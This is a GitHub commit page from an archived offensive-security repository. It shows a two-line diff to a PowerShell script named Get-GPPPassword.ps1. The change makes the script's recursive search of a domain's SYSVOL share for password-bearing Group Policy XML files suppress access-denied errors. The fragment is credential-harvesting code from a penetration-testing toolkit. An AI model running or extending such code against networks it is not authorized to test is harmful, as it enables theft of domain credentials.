Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 66face4

Browse files
committed
Merge pull request #11 from hajdbo/patch-1
added ErrorAction SilentlyContinue to Get-ChildItem
2 parents 9577a4e + c623814 commit 66face4

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Exfiltration/Get-GPPPassword.ps1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,8 +64,8 @@
6464
if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
6565
if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
6666

67-
#discover potential files containing passwords
68-
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
67+
#discover potential files containing passwords ; not complaining in case of denied access to a directory
68+
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
6969

7070
foreach ($File in $XMLFiles) {
7171

0 commit comments

Comments
 (0)